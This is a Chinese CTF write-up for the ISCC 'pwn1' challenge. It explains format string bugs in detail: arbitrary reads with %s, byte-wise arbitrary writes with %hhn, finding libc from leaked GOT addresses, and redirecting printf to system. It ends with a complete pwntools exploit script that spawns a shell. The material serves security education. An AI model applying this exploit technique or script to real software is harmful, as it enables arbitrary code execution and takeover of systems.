[ISCC](PWN)pwn1 + 格式化字符串漏洞利用与分析

96
王一航
0.4 2017.05.02 11:08* 字数 2877

简介 :

pwn1
200
*28 solves*
欢迎来的pwn世界,这次你能学到什么新知识呢?115.28.185.220:11111
[附件下载](http://iscc.isclab.org.cn/static/uploads/1ec9c1730461edfff561c395f566215d/pwn1.zip)

image.png

很明显的格式化字符串漏洞

检查一下可执行程序的保护类型

image.png

程序没有开启 PIE 保护 , 那么也就是说
程序的 .text .bss 等段在目标服务器中的内存地址中是固定的
基址为 : 0x8048000
我们知道利用格式化字符串是可以对任意内存进行读写操作的
那么这个程序我们应该如何去利用 ?
首先需要明确的是我们这里的目的 : 拿到目标主机的 shell
那么就是 :

shellcode 或者执行 system("/bin/sh")

但是这里程序开启了 NX 保护 , 因此 shellcode 这条路应该是行不通了

那么我们就要考虑如何调用 system
要调用一个函数

  1. 我们首先需要知道这个函数在内存中的地址
  2. 而且需要在栈上为程序布局好参数
  3. 还要能让 ip 跳转到这个函数去执行

第一个问题 , system 的地址如何获取 ?

利用 printf 函数 , 可以打印任意内存的数据
那么我们就可以利用这个漏洞打印出 got 表中的函数在内存中的地址
比如说打印出 : puts 函数(libc中的函数)
这样我们就知道了一个 libc 中的函数
根据这个函数在给定的 libc 的偏移我们就可以还原出整个 libc 在内存中的布局情况
这样我们就可以很容易找到 system 函数在目标服务器中的地址 , 这个问题也就解决了
但是如果这道题并没有给出 libc ?
应该怎么去获取 system 的地址呢 ?
首先 Linux 的内核是不断在更新的
其中的 libc 版本也随着不断地更新
那么当 libc 的内容发生变化以后 , 其中函数之间的相对偏移肯定会发生变化
那么我们应该怎么才能根据已知的函数地址来得到目标函数地址呢 ?
做一个假设 :
条件一 : 我们拥有从Linux发型以来所有版本的 libc 文件
条件二 : 我们已知至少两个函数函数在目标主机中的真实地址
那么我们是不是可以用第二个条件去推测目标主机的 libc 版本呢 ?
我们来进行进一步的分析 :
关于条件二 :
这里我们可以注意到 : printf 是可以被我们循环调用的
因此可以进行连续的内存泄露
我们可以将多个 got 表中的函数地址泄露出来 ,
我们这样就可以的至少两个函数的地址 , 条件二满足
关于条件一 :
哈哈~对了 , 这么有诱惑力的事情一定已经有人做过了 , 这里给出一个网站 : http://libcdb.com/ , 大名鼎鼎 pwntools 中的 DynELF 就是根据这个原理运作的
两个条件都满足 , 根据这些函数之间的偏移去筛选出 libc 的版本
这样我们就相当于得到了目标服务器的 libc 文件 , 达到了同样的效果

我们再来看第二个和第三个问题 :

那么再来做一个假设
如果我们可以修改 got 表中的某一个函数的地址到 system 的地址
那么程序在调用这个函数的时候其实调用的就是 system 函数了, 根据格式化字符串漏洞的特性 , 我们知道是可以写任意内存的 , 那么这样就解决了第三个问题 , 怎么把 ip 设置到 system 函数
可是参数要怎么传递呢 ?

我们注意到 , 这个程序中存在以下 libc 中的函数 :

puts
scanf
printf
gets

我们仔细想一下 , 这些函数的参数都是什么样子的 , 我们需要调用的 system 函数的参数是什么样的

SYSTEM(3)                             Linux Programmer's Manual                             SYSTEM(3)

NAME
       system - execute a shell command

SYNOPSIS
       #include <stdlib.h>

       int system(const char *command);

是一个字符指针 , 说得更通用一点就是是一个地址
那么是不是就是说 , 如果我们可以控制上面的几个函数的第一个参数为 "/bin/sh" 的地址
那么我们就相当于为 system 函数传递了参数 ?
答案是肯定的
我们现在来回过头来看看程序的执行流程 :

image.png

在跳转到 system 之前 , 我们肯定要先调用 printf 将某一个函数的 got 表进行覆盖
那么我们应该覆盖哪个函数 ?
注意到 printf 函数的参数是我们输入的字符串的地址
如果我们先利用 printf 的格式化字符串漏洞将 printf 的 got 表修改为 system 的地址
然后程序继续执行
在 gets 的地方我们输入 "/bin/sh"
然后程序自动执行 printf , 事实上 printf 已经被我们修改成了 system , 而且传递的参数就是我们输入的 /bin/sh
其实如果有一个函数的第一个参数是一个整形而且我们可以控制的话
我们也可以通过控制这个整形参数来达到执行 system("/bin/sh") 的目的
这样我们就完成了对漏洞利用过程的分析


下面我简单介绍一个格式化字符串漏洞 :
大家在学习 c 语言的时候写过的第一个程序就是

#include <stdio.h>

int main(){
  printf("Hello world!\n");
}

这里使用到了 prinf 函数
随着学习的深入 , 我们逐渐知道 printf 是一个参数长度可变的函数
其中第一个参数格式化字符串 , 这个格式化字符串中可以包含以 % 为开头标记的格式化字符串
然后 printf 函数在处理第一个参数的时候 , 当每一次遇到 % 开头的标记 , 就会根据这个 % 开头的格式化字符串所规定的规则在堆上构造一个新的结果字符串 , 将整个格式化字符串检索完毕后 , 会将这个字符串输入
我们来总结一下 printf 有哪些可以使用的 % 标记 :

常见用法 : 
%c 将对应参数以字符的形式进行格式化
%hd 以短整形的形式 (这里加上 h 表示短整形 , 也就是从内存取值的时候只取 2 个字节 (32位))
%d 以整形的形式
%ld 以长整形的形式
%x 以 16 进制的形式
%s 以字符串的形式 (注意这里与上面的有所不同 , 这里字符串的参数实际上是一个地址 , 这里的地址指向了需要被打印的字符串)
高级用法 : 
每一个格式化字符串的 % 后可以跟一个 10 进制的常数 , 表示格式化后得到的字符串的长度
比如说 %4c 这会打印出三个空格以及一个字符
每一个格式化字符串的 % 之后可以跟一个十进制的常数再跟一个 $ 符号, 表示格式化指定位置的参数 : 
例如 : 
int a = 1;
int b = 2;
int c = 3;
printf("%1$d, %2$d, %3$d\n", a, b, c);
// 输出结果为 : 1,2,3
printf("%3$d, %1$d, %2$d\n", a, b, c);
// 输出结果为 : 3,1,2
还有一些不是很常用的格式化字符串例如 : 
%n
这个格式化字符串的作用是 : 将当前已经格式化写入堆中的字符个数写入到对应的参数中
这样说可能有点抽象 , 举个例子 : 
int size = 0;
printf("123456789%n", &size);
printf 首先会扫描第一个参数 , 
如果这个参数不是转义字符或者格式化字符串
就直接将其复制到堆上已经申请好的用于保存即将输出的结果字符串的内存地址中 , 
并将计数器加上 1 
如果是转义字符 , 则将转义字符的结果复制到堆上 , 同理 + 1
当遇到格式化字符串 , 也就同样的道理
这里的计数器保存了当前格式化得到的结果的字符数
那么当上述 prinf 执行结束后 , size 的值就会被修改为 9
一个值得注意的地方是 : 参数为 &size
也就是这个参数是一个内存地址

好了 , 介绍完了格式化字符串函数 , 再来介绍一下如何利用格式化字符串进行任意内存的读写的 :
首先来看任意内存读 :
我们知道 printf 可以使用 %s 来打印一个字符串
而且参数是一个内存地址
那么也就是说只要我们能控制 printf 的参数 , 就可以通过 %s 来打印任意的内存数据
我们知道栈是由高地址向低地址生长的
假如说 printf 只有一个参数 , 这个参数是可以被我们控制的
我们就可以通过在这第一个参数中添加 % 这样的格式化字符串来打印出栈上更高地址的数据
一般情况下 , 存在漏洞的代码会长这样

in main(){
  char buffer[0x100] = {0};
  read(0, buffer, 0x100);
  printf(buffer);
}

这个小程序中 , buffer 是分配在栈上的 , 而且对 buffer 的分配要早于 printf 的执行
那么也就是说 buffer 的地址是高于 printf 的栈的
那么我们就可以利用格式化字符读取到 buffer 的内容 , 因为根据我们之前的分析 , printf 会打印更高地址的数据 , 也就是 printf 将更高的地址上的数据作为了参数
假如我们的格式化字符串是 : "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
我们发现在第六个输出的16进制数的地方输出了 : 0x41414141
那么也就是说 , 我们输入的字符串的地址比 printf 的第一个参数的地址要高 6 * 4 = 24 个字节 (32 位)

那么如果我们把第六个 %08x 修改为 %s , 这样
printf 就会将 AAAA 这个数据当做是地址 , 进行一次取值操作 , 将 0x41414141 这个地址中数据打印出来 , 但是这里 0x41414141 这个地址是非法的 , 所以程序会报一个段错误 , 并退出
可是如果我们输入的并不是AAAA , 而是一个可读的内存地址的话 , 我们就可以使用 %s 来打印出这个内存的数据了
TIP : 一般在利用的时候 :
"AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
会写成 : "AAAA%6$08x"
减少 payload 长度

再来看看任意地址写 :
需要用到 %n 这个这个格式化字符串
同样的道理 , "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
当打印这个格式化字符串的时候如果在第 6 个位置遇到了 AAAA
那么也就是说我们就可以通过修改第六个 %08x 来让 printf 将AAAA视作一个地址 (%s 和 %n 都会这样)
那么如果我们现在要向 0x12345678 的地址写入数据 : 0x19283746
应该怎么办呢 ?
如果我们这样输入 :
"\x78\x56\x34\x12%08x.%08x.%08x.%08x.%n."
printf 会先扫描这个字符串
通过计算 , 当扫描到 %n 的时候应该是已经打印了 :
4 + 8 + 1 + 8 + 1 + 8 + 1 + 8 + 1 = 40 = 0x28个字符
那么这个 0x12345678 的地址就会被写入 \x28\x00\x00\x00
这样我们其实已经实现了写内存操作
但是我们的目的可是要向这个地址写入 0x19283746 = 422065990 这么大的值呀
难道我们要让结果字符串的长度是 422065990 吗 ? 显然是不可能的
这里我们就要利用到 h 这个符号了
根据之前对 printf 的介绍 , 我们可以知道 %hd 可以以一个短整形的格式打印数据
那么这里也是一样的
%hn就是向两个字节的内存地址写入数据
%hhn就是向一个字节
这样的话 , 我们就大大减少了我们输入的字符的长度
但是这么多字符如果要一个一个输入的话还是很不好
这里我们还需要用到 %c 来进行快速格式化得到制定数量的字符
%4c 就可以得到四个字符的输出
那么%128c , %3543c 也是同样的道理
我一般比较习惯于使用 %hhn , 这样比较容易控制数量
我们再来回过头来看看之前写入任意内存的问题 :
那么如果我们现在要向 0x12345678 的地址写入数据 : 0x19283746

首先我们需要将被写入的内存地址布局在栈上
这里我们使用 %hhn 那么也就是需要四个地址

"\x78\x56\x34\x12\x79\x56\x34\x12\x7a\x56\x34\x12\x7b\x56\x34\x12"

然后我们就可以使用 %7$ %8$ 来定位到这些内存地址
我们还要控制被写入的数据
就可以通过 %c 来控制写入的字节数
这里需要考虑一个问题 , 就是溢出
如果我们要向一个内存字节中写入 0x10 当时我们已经打印了多于 0x10 的数据那么怎么办呢 ?
这里也不用担心 , 因为单字节的写入是会产生溢出的
假如说我们现在已经向内存中写入了 0xbf 个字节
我们要再次写入 0x10 , 那么我们只需要将这个计数器调整为 0x110
这样产生溢出以后 写入内存的就是 0x10 了
这样就解决了一次性写入多个字节的问题


利用脚本 :

#!/usr/bin/env python

from pwn import *

def get_number(printed, target):
    print "[+] Target : %d" % (target)
    print "[+] printed number : %d" % (printed)
    if printed > target:
        return 256 - printed + target
    elif printed == target:
        return 0
    else:
        return target - printed

def write_memery(target, data, offset):
    lowest = data >> 8 * 3 & 0xFF
    low = data >> 8 * 2 & 0xFF
    high = data >> 8 * 1 & 0xFF
    highest = data >> 8 * 0 & 0xFF
    printed = 0
    payload = p32(target + 3) + p32(target + 2) + p32(target + 1) + p32(target + 0)
    length_lowest = get_number(len(payload), lowest)
    length_low = get_number(lowest, low)
    length_high = get_number(low, high)
    length_highest = get_number(high, highest)
    payload += '%' + str(length_lowest) + 'c' + '%' + str(offset) + '$hhn'
    payload += '%' + str(length_low) + 'c' + '%' + str(offset + 1) + '$hhn'
    payload += '%' + str(length_high) + 'c' + '%' + str(offset + 2) + '$hhn'
    payload += '%' + str(length_highest) + 'c' + '%' + str(offset + 3) + '$hhn'
    return payload


def leak(addr):
    Io.sendline("1")
    Io.readuntil("please input your name:\n")
    payload = p32(addr) + "%6$s"
    Io.sendline(payload)
    leak_data = Io.read()[4:8]
    return leak_data


Io = process("./pwn1")
Io.readuntil("plz input$")

# leak printf addr
printf_got = 0x0804A010
print "[+] got.printf : [%s]" % (hex(printf_got))
printf_addr = u32(leak(printf_got))
print "[+] Address of printf : [%s]" % (hex(printf_addr))

# get the address of system
system_offset = 0x0003a840
printf_offset = 0x000497c0
system_addr = printf_addr - printf_offset + system_offset
print "[+] Address of system : [%s]" % (hex(system_addr))

# write got.print to address of system
payload = write_memery(printf_got, system_addr, 6)
print "[+] Payload : %s" % (repr(payload))
Io.sendline("1")
Io.sendline(payload)

# write '/bin/sh'
Io.sendline("1")
Io.sendline("/bin/sh")

# interactive
Io.interactive()

参考资料 :
黑客之道-漏洞发掘的艺术

CTF